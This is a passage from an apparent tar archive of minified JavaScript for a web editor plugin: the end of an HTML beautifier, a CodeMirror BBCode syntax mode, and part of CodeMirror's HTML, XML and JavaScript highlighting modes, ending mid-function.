ft,e.printer(n,g,d,nt,tt);;){if(y=e.get_token(),e.token_text=y[0],e.token_type=y[1],e.token_type==="TK_EOF")break;switch(e.token_type){case"TK_TAG_START":e.print_newline(!1,e.output);e.print_token(e.token_text);e.indent_content&&(e.indent(),e.indent_content=!1);e.current_mode="CONTENT";break;case"TK_TAG_STYLE":case"TK_TAG_SCRIPT":e.print_newline(!1,e.output);e.print_token(e.token_text);e.current_mode="CONTENT";break;case"TK_TAG_END":e.last_token==="TK_CONTENT"&&e.last_text===""&&(ut=e.token_text.match(/\w+/)[0],c=null,e.output.length&&(c=e.output[e.output.length-1].match(/(?:<|{{#)\s*(\w+)/)),(c===null||c[1]!==ut)&&e.print_newline(!1,e.output));e.print_token(e.token_text);e.current_mode="CONTENT";break;case"TK_TAG_SINGLE":p=e.token_text.match(/^\s*<([a-z-]+)/i);p&&e.Utils.in_array(p[1],a)||e.print_newline(!1,e.output);e.print_token(e.token_text);e.current_mode="CONTENT";break;case"TK_TAG_HANDLEBARS_ELSE":e.print_token(e.token_text);e.indent_content&&(e.indent(),e.indent_content=!1);e.current_mode="CONTENT";break;case"TK_CONTENT":e.print_token(e.token_text);e.current_mode="TAG";break;case"TK_STYLE":case"TK_SCRIPT":if(e.token_text!==""){if(e.print_newline(!1,e.output),s=e.token_text,h=1,e.token_type==="TK_SCRIPT"?l=typeof u=="function"&&u:e.token_type==="TK_STYLE"&&(l=typeof f=="function"&&f),r.indent_scripts==="keep"?h=0:r.indent_scripts==="separate"&&(h=-e.indent_level),w=e.get_full_indent(h),l)s=l(s.replace(/^\s*/,w),r);else{var et=s.match(/^\s*/)[0],ot=et.match(/[^\n\r]*$/)[0].split(e.indent_string).length-1,st=e.get_full_indent(h-ot);s=s.replace(/^\s*/,w).replace(/\r\n|\r|\n/g,"\n"+st).replace(/\s+$/,"")}s&&(e.print_token_raw(s),e.print_newline(!0,e.output))}e.current_mode="TAG";break;default:e.token_text!==""&&e.print_token(e.token_text)}e.last_token=e.token_type;e.last_text=e.token_text}return b=e.output.join("").replace(/[\r\n\t ]+$/,""),rt&&(b+="\n"),b}if(typeof define=="function"&&define.amd)define(["require","./beautify","./beautify-css"],function(t){var i=t("./beautify"),r=t("./beautify-css");return{html_beautify:function(t,u){return n(t,u,i.js_beautify,r.css_beautify)}}});else if(typeof exports!="undefined"){var r=require("./beautify.js"),u=require("./beautify-css.js");exports.html_beautify=function(t,i){return n(t,i,r.js_beautify,u.css_beautify)}}else typeof window!="undefined"?window.html_beautify=function(t,i){return n(t,i,window.js_beautify,window.css_beautify)}:typeof global!="undefined"&&(global.html_beautify=function(t,i){return n(t,i,global.js_beautify,global.css_beautify)})}()                                                                                                                                                                                                                                                                                                                                                                                                                                                     editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.mode.bbcode.min.js            0000705                 00000003650 15242051521 0025655 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       CodeMirror.defineMode("bbcode",function(b){var e,a,g;e={bbCodeTags:"b i u s img quote code list table  tr td size color url",bbCodeUnaryTags:"* :-) hr cut"};if(b.hasOwnProperty("bbCodeTags")){e.bbCodeTags=b.bbCodeTags}if(b.hasOwnProperty("bbCodeUnaryTags")){e.bbCodeUnaryTags=b.bbCodeUnaryTags}var f={cont:function(i,h){g=h;return i},escapeRegEx:function(h){return h.replace(/([\:\-\)\(\*\+\?\[\]])/g,"\\$1")}};var d={validIdentifier:/[a-zA-Z0-9_]/,stringChar:/['"]/,tags:new RegExp("(?:"+f.escapeRegEx(e.bbCodeTags).split(" ").join("|")+")"),unaryTags:new RegExp("(?:"+f.escapeRegEx(e.bbCodeUnaryTags).split(" ").join("|")+")")};var c={tokenizer:function(i,h){if(i.eatSpace()){return null}if(i.match("[",true)){h.tokenize=c.bbcode;return f.cont("tag","startTag")}i.next();return null},inAttribute:function(h){return function(k,i){var l=null;var j=null;while(!k.eol()){j=k.peek();if(k.next()==h&&l!=="\\"){i.tokenize=c.bbcode;break}l=j}return"string"}},bbcode:function(k,i){if(a=k.match("]",true)){i.tokenize=c.tokenizer;return f.cont("tag",null)}if(k.match("[",true)){return f.cont("tag","startTag")}var h=k.next();if(d.stringChar.test(h)){i.tokenize=c.inAttribute(h);return f.cont("string","string")}else{if(/\d/.test(h)){k.eatWhile(/\d/);return f.cont("number","number")}else{if(i.last=="whitespace"){k.eatWhile(d.validIdentifier);return f.cont("attribute","modifier")}if(i.last=="property"){k.eatWhile(d.validIdentifier);return f.cont("property",null)}else{if(/\s/.test(h)){g="whitespace";return null}}var j="";if(h!="/"){j+=h}var l=null;while(l=k.eat(d.validIdentifier)){j+=l}if(d.unaryTags.test(j)){return f.cont("atom","atom")}if(d.tags.test(j)){return f.cont("keyword","keyword")}if(/\s/.test(h)){return null}return f.cont("tag","tag")}}}};return{startState:function(){return{tokenize:c.tokenizer,mode:"bbcode",last:null}},token:function(j,i){var h=i.tokenize(j,i);i.last=g;return h},electricChars:""}});CodeMirror.defineMIME("text/x-bbcode","bbcode");                                                                                        editors/acyeditor/acyeditor/ckeditor/plugins/codemirror/js/codemirror.mode.php.min.js               0000705                 00000222265 15242051521 0025233 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       (function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"),require("../xml/xml"),require("../javascript/javascript"),require("../css/css"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror","../xml/xml","../javascript/javascript","../css/css"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("htmlmixed",function(c,d){var b=a.getMode(c,{name:"xml",htmlMode:true,multilineTagIndentFactor:d.multilineTagIndentFactor,multilineTagIndentPastTag:d.multilineTagIndentPastTag});var n=a.getMode(c,"css");var l=[],k=d&&d.scriptTypes;l.push({matches:/^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^$/i,mode:a.getMode(c,"javascript")});if(k){for(var e=0;e<k.length;++e){var j=k[e];l.push({matches:j.matches,mode:j.mode&&a.getMode(c,j.mode)})}}l.push({matches:/./,mode:a.getMode(c,"text/plain")});function f(t,r){var p=r.htmlState.tagName;if(p){p=p.toLowerCase()}var q=b.token(t,r.htmlState);if(p=="script"&&/\btag\b/.test(q)&&t.current()==">"){var u=t.string.slice(Math.max(0,t.pos-100),t.pos).match(/\btype\s*=\s*("[^"]+"|'[^']+'|\S+)[^<]*$/i);u=u?u[1]:"";if(u&&/[\"\']/.test(u.charAt(0))){u=u.slice(1,u.length-1)}for(var o=0;o<l.length;++o){var s=l[o];if(typeof s.matches=="string"?u==s.matches:s.matches.test(u)){if(s.mode){r.token=m;r.localMode=s.mode;r.localState=s.mode.startState&&s.mode.startState(b.indent(r.htmlState,""))}break}}}else{if(p=="style"&&/\btag\b/.test(q)&&t.current()==">"){r.token=g;r.localMode=n;r.localState=n.startState(b.indent(r.htmlState,""))}}return q}function h(r,i,o){var q=r.current();var p=q.search(i);if(p>-1){r.backUp(q.length-p)}else{if(q.match(/<\/?$/)){r.backUp(q.length);if(!r.match(i,false)){r.match(q)}}}return o}function m(o,i){if(o.match(/^<\/\s*script\s*>/i,false)){i.token=f;i.localState=i.localMode=null;return null}return h(o,/<\/\s*script\s*>/,i.localMode.token(o,i.localState))}function g(o,i){if(o.match(/^<\/\s*style\s*>/i,false)){i.token=f;i.localState=i.localMode=null;return null}return h(o,/<\/\s*style\s*>/,n.token(o,i.localState))}return{startState:function(){var i=b.startState();return{token:f,localMode:null,localState:null,htmlState:i}},copyState:function(o){if(o.localState){var i=a.copyState(o.localMode,o.localState)}return{token:o.token,localMode:o.localMode,localState:i,htmlState:a.copyState(b,o.htmlState)}},token:function(o,i){return i.token(o,i)},indent:function(o,i){if(!o.localMode||/^\s*<\//.test(i)){return b.indent(o.htmlState,i)}else{if(o.localMode.indent){return o.localMode.indent(o.localState,i)}else{return a.Pass}}},innerMode:function(i){return{state:i.localState||i.htmlState,mode:i.localMode||b}}}},"xml","javascript","css");a.defineMIME("text/html","htmlmixed")});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("xml",function(y,k){var p=y.indentUnit;var x=k.multilineTagIndentFactor||1;var d=k.multilineTagIndentPastTag;if(d==null){d=true}var w=k.htmlMode?{autoSelfClosers:{area:true,base:true,br:true,col:true,command:true,embed:true,frame:true,hr:true,img:true,input:true,keygen:true,link:true,meta:true,param:true,source:true,track:true,wbr:true,menuitem:true},implicitlyClosed:{dd:true,li:true,optgroup:true,option:true,p:true,rp:true,rt:true,tbody:true,td:true,tfoot:true,th:true,tr:true},contextGrabbers:{dd:{dd:true,dt:true},dt:{dd:true,dt:true},li:{li:true},option:{option:true,optgroup:true},optgroup:{optgroup:true},p:{address:true,article:true,aside:true,blockquote:true,dir:true,div:true,dl:true,fieldset:true,footer:true,form:true,h1:true,h2:true,h3:true,h4:true,h5:true,h6:true,header:true,hgroup:true,hr:true,menu:true,nav:true,ol:true,p:true,pre:true,section:true,table:true,ul:true},rp:{rp:true,rt:true},rt:{rp:true,rt:true},tbody:{tbody:true,tfoot:true},td:{td:true,th:true},tfoot:{tbody:true},th:{td:true,th:true},thead:{tbody:true,tfoot:true},tr:{tr:true}},doNotIndent:{pre:true},allowUnquoted:true,allowMissing:true,caseFold:true}:{autoSelfClosers:{},implicitlyClosed:{},contextGrabbers:{},doNotIndent:{},allowUnquoted:false,allowMissing:false,caseFold:false};var c=k.alignCDATA;var f,g;function n(F,E){function C(G){E.tokenize=G;return G(F,E)}var D=F.next();if(D=="<"){if(F.eat("!")){if(F.eat("[")){if(F.match("CDATA[")){return C(v("atom","]]>"))}else{return null}}else{if(F.match("--")){return C(v("comment","-->"))}else{if(F.match("DOCTYPE",true,true)){F.eatWhile(/[\w\._\-]/);return C(z(1))}else{return null}}}}else{if(F.eat("?")){F.eatWhile(/[\w\._\-]/);E.tokenize=v("meta","?>");return"meta"}else{f=F.eat("/")?"closeTag":"openTag";E.tokenize=m;return"tag bracket"}}}else{if(D=="&"){var B;if(F.eat("#")){if(F.eat("x")){B=F.eatWhile(/[a-fA-F\d]/)&&F.eat(";")}else{B=F.eatWhile(/[\d]/)&&F.eat(";")}}else{B=F.eatWhile(/[\w\.\-:]/)&&F.eat(";")}return B?"atom":"error"}else{F.eatWhile(/[^&<]/);return null}}}function m(E,D){var C=E.next();if(C==">"||(C=="/"&&E.eat(">"))){D.tokenize=n;f=C==">"?"endTag":"selfcloseTag";return"tag bracket"}else{if(C=="="){f="equals";return null}else{if(C=="<"){D.tokenize=n;D.state=l;D.tagName=D.tagStart=null;var B=D.tokenize(E,D);return B?B+" tag error":"tag error"}else{if(/[\'\"]/.test(C)){D.tokenize=j(C);D.stringStartCol=E.column();return D.tokenize(E,D)}else{E.match(/^[^\s\u00a0=<>\"\']*[^\s\u00a0=<>\"\'\/]/);return"word"}}}}}function j(B){var C=function(E,D){while(!E.eol()){if(E.next()==B){D.tokenize=m;break}}return"string"};C.isInAttribute=true;return C}function v(C,B){return function(E,D){while(!E.eol()){if(E.match(B)){D.tokenize=n;break}E.next()}return C}}function z(B){return function(E,D){var C;while((C=E.next())!=null){if(C=="<"){D.tokenize=z(B+1);return D.tokenize(E,D)}else{if(C==">"){if(B==1){D.tokenize=n;break}else{D.tokenize=z(B-1);return D.tokenize(E,D)}}}}return"meta"}}function r(C,B,D){this.prev=C.context;this.tagName=B;this.indent=C.indented;this.startOfLine=D;if(w.doNotIndent.hasOwnProperty(B)||(C.context&&C.context.noIndent)){this.noIndent=true}}function u(B){if(B.context){B.context=B.context.prev}}function q(D,C){var B;while(true){if(!D.context){return}B=D.context.tagName;if(!w.contextGrabbers.hasOwnProperty(B)||!w.contextGrabbers[B].hasOwnProperty(C)){return}u(D)}}function l(B,D,C){if(B=="openTag"){C.tagStart=D.column();return b}else{if(B=="closeTag"){return t}else{return l}}}function b(B,D,C){if(B=="word"){C.tagName=D.current();g="tag";return e}else{g="error";return b}}function t(C,E,D){if(C=="word"){var B=E.current();if(D.context&&D.context.tagName!=B&&w.implicitlyClosed.hasOwnProperty(D.context.tagName)){u(D)}if(D.context&&D.context.tagName==B){g="tag";return s}else{g="tag error";return A}}else{g="error";return A}}function s(C,B,D){if(C!="endTag"){g="error";return s}u(D);return l}function A(B,D,C){g="error";return s(B,D,C)}function e(E,C,F){if(E=="word"){g="attribute";return i}else{if(E=="endTag"||E=="selfcloseTag"){var D=F.tagName,B=F.tagStart;F.tagName=F.tagStart=null;if(E=="selfcloseTag"||w.autoSelfClosers.hasOwnProperty(D)){q(F,D)}else{q(F,D);F.context=new r(F,D,B==F.indented)}return l}}g="error";return e}function i(B,D,C){if(B=="equals"){return o}if(!w.allowMissing){g="error"}return e(B,D,C)}function o(B,D,C){if(B=="string"){return h}if(B=="word"&&w.allowUnquoted){g="string";return e}g="error";return e(B,D,C)}function h(B,D,C){if(B=="string"){return h}return e(B,D,C)}return{startState:function(){return{tokenize:n,state:l,indented:0,tagName:null,tagStart:null,context:null}},token:function(D,C){if(!C.tagName&&D.sol()){C.indented=D.indentation()}if(D.eatSpace()){return null}f=null;var B=C.tokenize(D,C);if((B||f)&&B!="comment"){g=null;C.state=C.state(f||B,D,C);if(g){B=g=="error"?B+" error":g}}return B},indent:function(G,C,F){var E=G.context;if(G.tokenize.isInAttribute){if(G.tagStart==G.indented){return G.stringStartCol+1}else{return G.indented+p}}if(E&&E.noIndent){return a.Pass}if(G.tokenize!=m&&G.tokenize!=n){return F?F.match(/^(\s*)/)[0].length:0}if(G.tagName){if(d){return G.tagStart+G.tagName.length+2}else{return G.tagStart+p*x}}if(c&&/<!\[CDATA\[/.test(C)){return 0}var B=C&&/^<(\/)?([\w_:\.-]*)/.exec(C);if(B&&B[1]){while(E){if(E.tagName==B[2]){E=E.prev;break}else{if(w.implicitlyClosed.hasOwnProperty(E.tagName)){E=E.prev}else{break}}}}else{if(B){while(E){var D=w.contextGrabbers[E.tagName];if(D&&D.hasOwnProperty(B[2])){E=E.prev}else{break}}}}while(E&&!E.startOfLine){E=E.prev}if(E){return E.indent+p}else{return 0}},electricInput:/<\/[\s\w:]+>$/,blockCommentStart:"<!--",blockCommentEnd:"-->",configuration:k.htmlMode?"html":"xml",helperType:k.htmlMode?"html":"xml"}});a.defineMIME("text/xml","xml");a.defineMIME("application/xml","xml");if(!a.mimeModes.hasOwnProperty("text/html")){a.defineMIME("text/html",{name:"xml",htmlMode:true})}});(function(a){if(typeof exports=="object"&&typeof module=="object"){a(require("../../lib/codemirror"))}else{if(typeof define=="function"&&define.amd){define(["../../lib/codemirror"],a)}else{a(CodeMirror)}}})(function(a){a.defineMode("javascript",function(Z,aj){var l=Z.indentUnit;var A=aj.statementIndent;var aB=aj.jsonld;var z=aj.json||aB;var g=aj.typescript;var au=aj.wordCharacters||/[\w$\xa1-\uffff]/;var ar=function(){function aR(aT){return{type:aT,style:"keyword"}}var aM=aR("keyword a"),aK=aR("keyword b"),aJ=aR("keyword c");var aL=aR("operator"),aP={type:"atom",style:"atom"};var aN={"if":aR("if"),"while":aM,"with":aM,"else":aK,"do":aK,"try":aK,"finally":aK,"return":aJ,"break":aJ,"continue":aJ,"new":aJ,"delete":aJ,"throw":aJ,"debugger":aJ,"var":aR("var"),"const":aR("var"),let:aR("var"),"function":aR("function"),"catch":aR("catch"),"for":aR("for"),"switch":aR("switch"),"case":aR("case"),"default":aR("default"),"in":aL,"typeof":aL,"instanceof":aL,"true":aP,"false":aP,"null":aP,"undefined":aP,"NaN":aP,"Infinity":aP,"this":aR("this"),module:aR("module"),"class":aR("class"),"super":aR("atom"),yield:aJ,"export":aR("export"),"import":aR("import"),"extends":aJ};if(g){var aS={type:"variable",style:"variable-3"};var aO={"interface":aR("interface"),"extends":aR("extends"),constructor:aR("constructor"),"public":aR("public"),"private":aR("private"),"protected":aR("protected"),"static":aR("static"),string:aS,number:aS,bool:aS,any:aS};for(var aQ in aO){aN[aQ]=aO[aQ]}}return aN}();var P=/[+\-*&%=<>!?|~^]/;var aq=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/;function F(aM){var aK=false,aJ,aL=false;while((aJ=aM.next())!=null){if(!aK){if(aJ=="/"&&!aL){return}if(aJ=="["){aL=true}else{if(aL&&aJ=="]"){aL=false}}}aK=!aK&&aJ=="\\"}}var S,G;function L(aL,aK,aJ){S=aL;G=aJ;return aK}function U(aN,aL){var aJ=aN.next();if(aJ=='"'||aJ=="'"){aL.tokenize=R(aJ);return aL.tokenize(aN,aL)}else{if(aJ=="."&&aN.match(/^\d+(?:[eE][+\-]?\d+)?/)){return L("number","number")}else{if(aJ=="."&&aN.match("..")){return L("spread","meta")}else{if(/[\[\]{}\(\),;\:\.]/.test(aJ)){return L(aJ)}else{if(aJ=="="&&aN.eat(">")){return L("=>","operator")}else{if(aJ=="0"&&aN.eat(/x/i)){aN.eatWhile(/[\da-f]/i);return L("number","number")}else{if(/\d/.test(aJ)){aN.match(/^\d*(?:\.\d*)?(?:[eE][+\-]?\d+)?/);return L("number","number")}else{if(aJ=="/"){if(aN.eat("*")){aL.tokenize=aA;return aA(aN,aL)}else{if(aN.eat("/")){aN.skipToEnd();return L("comment","comment")}else{if(aL.lastType=="operator"||aL.lastType=="keyword c"||aL.lastType=="sof"||/^[\[{}\(,;:]$/.test(aL.lastType)){F(aN);aN.match(/^\b(([gimyu])(?![gimyu]*\2))+\b/);return L("regexp","string-2")}else{aN.eatWhile(P);return L("operator","operator",aN.current())}}}}else{if(aJ=="`"){aL.tokenize=aC;return aC(aN,aL)}else{if(aJ=="#"){aN.skipToEnd();return L("error","error")}else{if(P.test(aJ)){aN.eatWhile(P);return L("operator","operator",aN.current())}else{if(au.test(aJ)){aN.eatWhile(au);var aM=aN.current(),aK=ar.propertyIsEnumerable(aM)&&ar[aM];return(aK&&aL.lastType!=".")?L(aK.type,aK.style,aM):L("variable","variable",aM)}}}}}}}}}}}}}function R(aJ){return function(aN,aL){var aM=false,aK;if(aB&&aN.peek()=="@"&&aN.match(aq)){aL.tokenize=U;return L("jsonld-keyword","meta")}while((aK=aN.next())!=null){if(aK==aJ&&!aM){break}aM=!aM&&aK=="\\"}if(!aM){aL.tokenize=U}return L("string","string")}}function aA(aM,aL){var aJ=false,aK;while(aK=aM.next()){if(aK=="/"&&aJ){aL.tokenize=U;break}aJ=(aK=="*")}return L("comment","comment")}function aC(aM,aK){var aL=false,aJ;while((aJ=aM.next())!=null){if(!aL&&(aJ=="`"||aJ=="$"&&aM.eat("{"))){aK.tokenize=U;break}aL=!aL&&aJ=="\\"}return L("quasi","string-2",aM.current())}var m="([{}])";function ax(aP,aM){if(aM.fatArrowAt){aM.fatArrowAt=null}var aL=aP.string.indexOf("=>",aP.start);if(aL<0){return}var aO=0,aK=false;for(var aQ=aL-1;aQ>=0;--aQ){var aJ=aP.string.charAt(aQ);var aN=m.indexOf(aJ);if(aN>=0&&aN<3){if(!aO){++aQ;break}if(--aO==0){break}}else{if(aN>=3&&aN<6){++aO}else{if(au.test(aJ)){aK=true}else{if(/["'\/]/.test(aJ)){return}else{if(aK&&!aO){++aQ;break}}}}}}if(aK&&!aO){aM.fatArrowAt=aQ}}var b={atom:true,number:true,variable:true,string:true,regexp:true,"this":true,"jsonld-keyword":true};function J(aO,aK,aJ,aN,aL,aM){this.indented=aO;this.column=aK;this.type=aJ;this.prev=aL;this.info=aM;if(aN!=null){this.align=aN}}function s(aM,aL){for(var aK=aM.localVars;aK;aK=aK.next){if(aK.name==aL){return true}}for(var aJ=aM.context;aJ;aJ=aJ.prev){for(var aK=aJ.vars;aK;aK=aK.next){if(aK.name==aL){return true}}}}function f(aN,aK,aJ,aM,aO){var aP=aN.cc;D.state=aN;D.stream=aO;D.marked=null,D.cc=aP;D.style=aK;if(!aN.lexical.hasOwnProperty("align")){aN.lexical.align=true}while(true){var aL=aP.length?aP.pop():z?an:aH;if(aL(aJ,aM)){while(aP.length&&aP[aP.length-1].lex){aP.pop()()}if(D.marked){return D.marked}if(aJ=="variable"&&s(aN,aM)){return"variable-2"}return aK}}}var D={state:null,column:null,marked:null,cc:null};function aa(){for(var aJ=arguments.length-1;aJ>=0;aJ--){D.cc.push(arguments[aJ])}}function ae(){aa.apply(null,arguments);return true}function aw(aK){function aJ(aN){for(var aM=aN;aM;aM=aM.next){if(aM.name==aK){return true}}return false}var aL=D.state;if(aL.context){D.marked="def";if(aJ(aL.localVars)){return}aL.localVars={name:aK,next:aL.localVars}}else{if(aJ(aL.globalVars)){return}if(aj.globalVars){aL.globalVars={name:aK,next:aL.globalVars}}}}var q={name:"this",next:{name:"arguments"}};function w(){D.state.context={prev:D.state.context,vars:D.state.localVars};D.state.localVars=q}function x(){D.state.localVars=D.state.context.vars;D.state.context=D.state.context.prev}function aF(aK,aL){var aJ=function(){var aO=D.state,aM=aO.indented;if(aO.lexical.type=="stat"){aM=aO.lexical.indented}else{for(var aN=aO.lexical;aN&&aN.type==")"&&aN.align;aN=aN.prev){aM=aN.indented}}aO.lexical=new J(aM,D.stream.column(),aK,null,aO.lexical,aL)};aJ.lex=true;return aJ}function h(){var aJ=D.state;if(aJ.lexical.prev){if(aJ.lexical.type==")"){aJ.indented=aJ.lexical.indented}aJ.lexical=aJ.lexical.prev}}h.lex=true;function r(aJ){function aK(aL){if(aL==aJ){return ae()}else{if(aJ==";"){return aa()}else{return ae(aK)}}}return aK}function aH(aJ,aK){if(aJ=="var"){return ae(aF("vardef",aK.length),d,r(";"),h)}if(aJ=="keyword a"){return ae(aF("form"),an,aH,h)}if(aJ=="keyword b"){return ae(aF("form"),aH,h)}if(aJ=="{"){return ae(aF("}"),y,h)}if(aJ==";"){return ae()}if(aJ=="if"){if(D.state.lexical.info=="else"&&D.state.cc[D.state.cc.length-1]==h){D.state.cc.pop()()}return ae(aF("form"),an,aH,h,e)}if(aJ=="function"){return ae(M)}if(aJ=="for"){return ae(aF("form"),u,aH,h)}if(aJ=="variable"){return ae(aF("stat"),aI)}if(aJ=="switch"){return ae(aF("form"),an,aF("}","switch"),r("{"),y,h,h)}if(aJ=="case"){return ae(an,r(":"))}if(aJ=="default"){return ae(r(":"))}if(aJ=="catch"){return ae(aF("form"),w,r("("),af,r(")"),aH,h,x)}if(aJ=="module"){return ae(aF("form"),w,H,x,h)}if(aJ=="class"){return ae(aF("form"),V,h)}if(aJ=="export"){return ae(aF("form"),aG,h)}if(aJ=="import"){return ae(aF("form"),ag,h)}return aa(aF("stat"),an,r(";"),h)}function an(aJ){return Y(aJ,false)}function aE(aJ){return Y(aJ,true)}function Y(aK,aM){if(D.state.fatArrowAt==D.stream.start){var aJ=aM?N:W;if(aK=="("){return ae(w,aF(")"),at(i,")"),h,r("=>"),aJ,x)}else{if(aK=="variable"){return aa(w,i,r("=>"),aJ,x)}}}var aL=aM?j:ab;if(b.hasOwnProperty(aK)){return ae(aL)}if(aK=="function"){return ae(M,aL)}if(aK=="keyword c"){return ae(aM?ak:ai)}if(aK=="("){return ae(aF(")"),ai,az,r(")"),h,aL)}if(aK=="operator"||aK=="spread"){return ae(aM?aE:an)}if(aK=="["){return ae(aF("]"),n,h,aL)}if(aK=="{"){return ay(t,"}",null,aL)}if(aK=="quasi"){return aa(Q,aL)}return ae()}function ai(aJ){if(aJ.match(/[;\}\)\],]/)){return aa()}return aa(an)}function ak(aJ){if(aJ.match(/[;\}\)\],]/)){return aa()}return aa(aE)}function ab(aJ,aK){if(aJ==","){return ae(an)}return j(aJ,aK,false)}function j(aJ,aL,aN){var aK=aN==false?ab:j;var aM=aN==false?an:aE;if(aJ=="=>"){return ae(w,aN?N:W,x)}if(aJ=="operator"){if(/\+\+|--/.test(aL)){return ae(aK)}if(aL=="?"){return ae(an,r(":"),aM)}return ae(aM)}if(aJ=="quasi"){return aa(Q,aK)}if(aJ==";"){return}if(aJ=="("){return ay(aE,")","call",aK)}if(aJ=="."){return ae(al,aK)}if(aJ=="["){return ae(aF("]"),ai,r("]"),h,aK)}}function Q(aJ,aK){if(aJ!="quasi"){return aa()}if(aK.slice(aK.length-2)!="${"){return ae(Q)}return ae(an,p)}function p(aJ){if(aJ=="}"){D.marked="string-2";D.state.tokenize=aC;return ae(Q)}}function W(aJ){ax(D.stream,D.state);return aa(aJ=="{"?aH:an)}function N(aJ){ax(D.stream,D.state);return aa(aJ=="{"?aH:aE)}function aI(aJ){if(aJ==":"){return ae(h,aH)}return aa(ab,r(";"),h)}function al(aJ){if(aJ=="variable"){D.marked="property";return ae()}}function t(aJ,aK){if(aJ=="variable"||D.style=="keyword"){D.marked="property";if(aK=="get"||aK=="set"){return ae(I)}return ae(K)}else{if(aJ=="number"||aJ=="string"){D.marked=aB?"property":(D.style+" property");return ae(K)}else{if(aJ=="jsonld-keyword"){return ae(K)}else{if(aJ=="["){return ae(an,r("]"),K)}}}}}function I(aJ){if(aJ!="variable"){return aa(K)}D.marked="property";return ae(M)}function K(aJ){if(aJ==":"){return ae(aE)}if(aJ=="("){return aa(M)}}function at(aL,aJ){function aK(aN){if(aN==","){var aM=D.state.lexical;if(aM.info=="call"){aM.pos=(aM.pos||0)+1}return ae(aL,aK)}if(aN==aJ){return ae()}return ae(r(aJ))}return function(aM){if(aM==aJ){return ae()}return aa(aL,aK)}}function ay(aM,aJ,aL){for(var aK=3;aK<arguments.length;aK++){D.cc.push(arguments[aK])}return ae(aF(aJ,aL),at(aM,aJ),h)}function y(aJ){if(aJ=="}"){return ae()}return aa(aH,y)}function T(aJ){if(g&&aJ==":"){return ae(ad)}}function av(aJ,aK){if(aK=="="){return ae(aE)}}function ad(aJ){if(aJ=="variable"){D.marked="variable-3";return ae()}}function d(){return aa(i,T,ac,X)}function i(aJ,aK){if(aJ=="variable"){aw(aK);return ae()}if(aJ=="["){return ay(i,"]")}if(aJ=="{"){return ay(aD,"}")}}function aD(aJ,aK){if(aJ=="variable"&&!D.stream.match(/^\s*:/,false)){aw(aK);return ae(ac)}if(aJ=="variable"){D.marked="property"}return ae(r(":"),i,ac)}function ac(aJ,aK){if(aK=="="){return ae(aE)}}function X(aJ){if(aJ==","){return ae(d)}}function e(aJ,aK){if(aJ=="keyword b"&&aK=="else"){return ae(aF("form","else"),aH,h)}}function u(aJ){if(aJ=="("){return ae(aF(")"),E,r(")"),h)}}function E(aJ){if(aJ=="var"){return ae(d,r(";"),C)}if(aJ==";"){return ae(C)}if(aJ=="variable"){return ae(v)}return aa(an,r(";"),C)}function v(aJ,aK){if(aK=="in"||aK=="of"){D.marked="keyword";return ae(an)}return ae(ab,C)}function C(aJ,aK){if(aJ==";"){return ae(B)}if(aK=="in"||aK=="of"){D.marked="keyword";return ae(an)}return aa(an,r(";"),B)}function B(aJ){if(aJ!=")"){ae(an)}}function M(aJ,aK){if(aK=="*"){D.marked="keyword";return ae(M)}if(aJ=="variable"){aw(aK);return ae(M)}if(aJ=="("){return ae(w,aF(")"),at(af,")"),h,aH,x)}}function af(aJ){if(aJ=="spread"){return ae(af)}return aa(i,T,av)}function V(aJ,aK){if(aJ=="variable"){aw(aK);return ae(O)}}function O(aJ,aK){if(aK=="extends"){return ae(an,O)}if(aJ=="{"){return ae(aF("}"),o,h)}}function o(aJ,aK){if(aJ=="variable"||D.style=="keyword"){if(aK=="static"){D.marked="keyword";return ae(o)}D.marked="property";if(aK=="get"||aK=="set"){return ae(c,M,o)}return ae(M,o)}if(aK=="*"){D.marked="keyword";return ae(o)}if(aJ==";"){return ae(o)}if(aJ=="}"){return ae()}}function c(aJ){if(aJ!="variable"){return aa()}D.marked="property";return ae()}function H(aJ,aK){if(aJ=="string"){return ae(aH)}if(aJ=="variable"){aw(aK);return ae(ah)}}function aG(aJ,aK){if(aK=="*"){D.marked="keyword";return ae(ah,r(";"))}if(aK=="default"){D.marked="keyword";return ae(an,r(";"))}return aa(aH)}function ag(aJ){if(aJ=="string"){return ae()}return aa(ap,ah)}function ap(aJ,aK){if(aJ=="{"){return ay(ap,"}")}if(aJ=="variable"){aw(aK)}if(aK=="*"){D.marked="keyword"}return ae(k)}function k(aJ,aK){if(aK=="as"){D.marked="keyword";return ae(ap)}}function ah(aJ,aK){if(aK=="from"){D.marked="keyword";return ae(an)}}function n(aJ){if(aJ=="]"){return ae()}return aa(aE,am)}function am(aJ){if(aJ=="for"){return aa(az,r("]"))}if(aJ==","){return ae(at(ak,"]"))}return aa(at(aE,"]"))}function az(aJ){if(aJ=="for"){return ae(u,az)}if(aJ=="if"){return ae(an,az)}}function ao(aK,aJ){return aK.lastType=="operator"||aK.lastType==","||P.test(aJ.charAt(0))||/[,.]/.test(aJ.charAt(0))}return{startState:function(aK){var aJ={tokenize:U,lastType:"sof",cc:[],lexical:new J((aK||0)-l,0,"block",false),localVars:aj.localVars,context:aj.localVars&&{vars:aj.localVars},indented:0};if(aj.globalVars&&typeof aj.globalVars=="object"){aJ.globalVars=aj.globalVars}return aJ},token:function(aL,aK){if(aL.sol()){if(!aK.lexical.hasOwnProperty("align")){aK.lexical.align=false}aK.indented=aL.indentation();ax(aL,aK)}if(aK.tokenize!=aA&&aL.eatSpace()){return null}var aJ=aK.tokenize(aL,aK);if(S=="comment"){return aJ}aK.lastType=S=="operator"&&(G=="++"||G=="--")?"incdec":S;return f(aK,aJ,S,G,aL)},indent:function(aP,aJ){if(aP.tokenize==aA){return a.Pass}if(aP.tokenize!=U){return 0}var aO=aJ&&aJ.charAt(0),aM=aP.lexical;if(!/^\s*else\b/.test(aJ)){for(var aL=aP.cc.length-1;aL>=0;--aL){var 